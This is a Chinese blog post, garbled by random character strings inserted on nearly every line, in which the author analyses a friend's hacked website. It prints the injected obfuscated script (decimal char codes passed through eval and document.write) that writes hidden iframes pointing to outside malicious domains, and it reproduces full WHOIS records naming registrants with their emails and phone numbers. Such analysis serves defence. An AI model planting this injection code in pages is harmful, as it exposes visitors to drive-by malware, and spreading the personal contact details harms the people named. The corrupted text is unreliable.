首发在我的博客里面，
%9Ulgs8 = tk1qgj E(? http://www.areway.cn/?p=175 9W'#4 .lTGFeJqZ4 3z ~zcQ^\ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
@X1> Wv|[ "b -KVZ
<script>t=’60,105,102,114,97,109,101,
o Q{gh$6* 32,115,114,99,61,104,116,116,112,58,47,47,
0m*0I > 102,114,101,101,46,117,45,117,117,117,46,99,
*pI3"_ 110,47,101,114,114,111,114,46,104,116,109,
2"V?+Hhz 32,119,105,100,116,104,61,49,48,48,32,104,
#c?\(qjWA 101,105,103,104,116,61,48,62,60,47,105,102,
eDT Ey;^o 114,97,109,101,62′;
eZP"M 6 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
EkXns%][L AQ+w%>G6 <script>t=’60,105,102,114,97,109,101,32,115,
YW /YeID 114,99,61,104,116,116,112,58,47,47,102,114,
3f M 101,101,46,117,45,117,117,117,46,99,110,47,
N15{7 ,
101,114,114,111,114,46,104,116,109,32,119,
1s!hl{n<~ 105,100,116,104,61,49,48,48,32,104,101,105,
H6'xXS 103,104,116,61,48,62,60,47,105,102,114,97,
w ="I*7c@ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
n"_EDb document.write(t);</script>
M%9PVePOe k}jH <html xmlns=”
~!)_3o http://www.w3.org/1999/xhtml : 2?i9F0_ “>
/ 6L\`\g <head>
3n6_yK+D <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
*h-n I= <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
W.0dGUi* <title>首页 - 爱生活家庭网
VQqEsnkz UN,@K9 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
!7 *X{D v 转换字符串后的大概内容是（谁点击后果自付）：
4 P2)fLmc <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
#( X4M{I z,DEBRT+ 查询玉米u-uuu.cn的详细信息：
0>E ` 9| Domain Name: u-uuu.cn
_CI! 7% ROID: 20070901s10001s64972306-cn
OBb Domain Status: ok
9LCV"xgX Registrant Organization: 王雷
6aMqU?- Registrant Name: 王雷
U_M > Q_r( Administrative Email:
czlovexs@126.com o*r\&!NIw Sponsoring Registrar: 北京万网志成科技有限公司
v?d ~H`L Name Server:ns.yovole.com
JNX7]j\ Name Server:ns1.yovole.com
"v ^Q
! Registration Date: 2007-09-01 17:54
$ i~DUT( Expiration Date: 2008-09-01 17:54
Pf@8C{I 最后PING了一下地址 都没有什么….
k[G? 22t Cww$ A %} 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_W?}%; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
oN)K2&M 0 <script language=”javascript” src=”
,|T
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script s(wbsR VP8 >
t ;y>q 这个玉米应该有可能是木马作者的：
.
6Bz48* foafau.info的详细信息：
t^u X9yvx Access to INFO WHOIS information is provided to assist persons in
7,Z%rqf\) determining the contents of a domain name registration record in the
G}f.fR Y Afilias registry database. The data in this record is provided by
H!oP!rzEo Afilias Limited for informational purposes only, and Afilias does not
y4M<L. RO guarantee its accuracy. This service is intended only for query-based
H> _%ZXL access. You agree that you will use this data only for lawful purposes
Ng+k{vAj and that, under no circumstances will you use this data to: (a) allow,
bU_9GGG| enable, or otherwise support the transmission by e-mail, telephone, or
HjV8 3S; facsimile of mass unsolicited, commercial advertising or solicitations
:K2N7 ?shA to entities other than the data recipient’s own existing customers; or
Q1s`d?P/` (b) enable high volume, automated, electronic processes that send
G 9}[g)R* queries or data to the systems of Registry Operator, a Registrar, or
mC J/gWDY Afilias except as reasonably necessary to register domain names or
E!3W_:Bs modify existing registrations. All rights reserved. Afilias reserves
-
n11L the right to modify these terms at any time. By submitting this query,
n%Nf \z you agree to abide by this policy.
a.c2ScXG Domain ID:D22418703-LRMS
(x?A#o>% Domain Name:FOAFAU.INFO
\JN< "/ Created On:20-Nov-2007 16:05:42 UTC
,bJZs-P0 Last Updated On:20-Nov-2007 16:05:44 UTC
e&]XiV' Expiration Date:20-Nov-2008 16:05:42 UTC
nm\n\j~ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
xNq&_oY7 Status:CLIENT DELETE PROHIBITED
F/@#yQv? Status:CLIENT RENEW PROHIBITED
N:gS]OI* Status:CLIENT TRANSFER PROHIBITED
k)y0V:ZY]O Status:CLIENT UPDATE PROHIBITED
MLa]s*
; d Status:TRANSFER PROHIBITED
IVEvu3 Registrant ID:GODA-040110615
`db++Z'C Registrant Name:liu hong
OL=IUg" Registrant Organization:
$@Hw DRP Registrant Street1:beijing
p?8> 9 Registrant Street2:
:
<m0
GG Registrant Street3:
AO/J:` Registrant City:beijing
i3#]_ p{ Registrant State/Province:
mL3'/3-7:V Registrant Postal Code:100000
jd(=? !_ Registrant Country:CN
#T
!YFMh; Registrant Phone:+86.860108888777
|{ *ce<ip5 Registrant Phone Ext.:
}$g5:k! Registrant FAX:
<}i\fJX6 Registrant FAX Ext.:
/mqEc9sq, Registrant Email:bbbshiji@163.com
gEPCXf Admin ID:GODA-240110615
c;(}Ih(# Admin Name:liu hong
0]i#1Si~@ Admin Organization:
a)`h*P5@ Admin Street1:beijing
.Jou09+ Admin Street2:
=B;rj Admin Street3:
?uh7m 2l0D Admin City:beijing
js k <N Admin State/Province:
c;wt9J.f Admin Postal Code:100000
gsT%_2>CL Admin Country:CN
0=-h9W{ zI Admin Phone:+86.860108888777
dd98v Vj Admin Phone Ext.:
QN*'MA"M Admin FAX:
tJ'U<s Admin FAX Ext.:
.@ 1\26< Admin Email:bbbshiji@163.com
) c+ ZQq Billing ID:GODA-340110615
o7hjx hmC Billing Name:liu hong
))306*X\ Billing Organization:
o.y4&bC14; Billing Street1:beijing
F+c*v#T Billing Street2:
n;2W=N?y Billing Street3:
&w LI:x5 Billing City:beijing
s_E iA _ Billing State/Province:
V{c
n1Af Billing Postal Code:100000
eQzSWn[ Billing Country:CN
JX>_ imo
Billing Phone:+86.860108888777
_gw~A {O Billing Phone Ext.:
[&)9|EV Billing FAX:
bYow EzieF Billing FAX Ext.:
RHE< QG Billing Email:bbbshiji@163.com
=Z%&jul Tech ID:GODA-140110615
Pu}r`
E_ Tech Name:liu hong
#!Kg?BR2 Tech Organization:
b"{7f Tech Street1:beijing
CX\#
|Q8q Tech Street2:
LTFA2X&E= Tech Street3:
y{"8VT) Tech City:beijing
TLO-$ >h Tech State/Province:
8G(wYlxi Tech Postal Code:100000
;~xkT' Tech Country:CN
okr'=iDg Tech Phone:+86.860108888777
o2F6K*u} Tech Phone Ext.:
co U`2n/ Tech FAX:
&hqGGfVsd Tech FAX Ext.:
ow] n)Te Tech Email:bbbshiji@163.com
8 I,(\<Xv Name Server:NS27.DOMAINCONTROL.COM
"64pVaT4 Name Server:NS28.DOMAINCONTROL.COM
H:p(C?tk{ Name Server:
e$Md ?Pq Name Server:
H |75, !< Name Server:
u9k##a4.E
Name Server:
QeU>%qK T Name Server:
BA
L! 6 Name Server:
=C5 [75z#+ Name Server:
h:j-Xd$H+ Name Server:
nD E 5A Name Server:
T>W(Caelq Name Server:
.>h|e_E Name Server:
^VoQGP/cl Ml0d^l}' 接着下载每个文件里面的代码：
BKV vu}V(o 一步一步看..
wk)gxn1A, 
rP#@*{"; 
/C3=-Hp 
&/Tx@j^.C 
= `70]% 
.RoO 6:T6 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
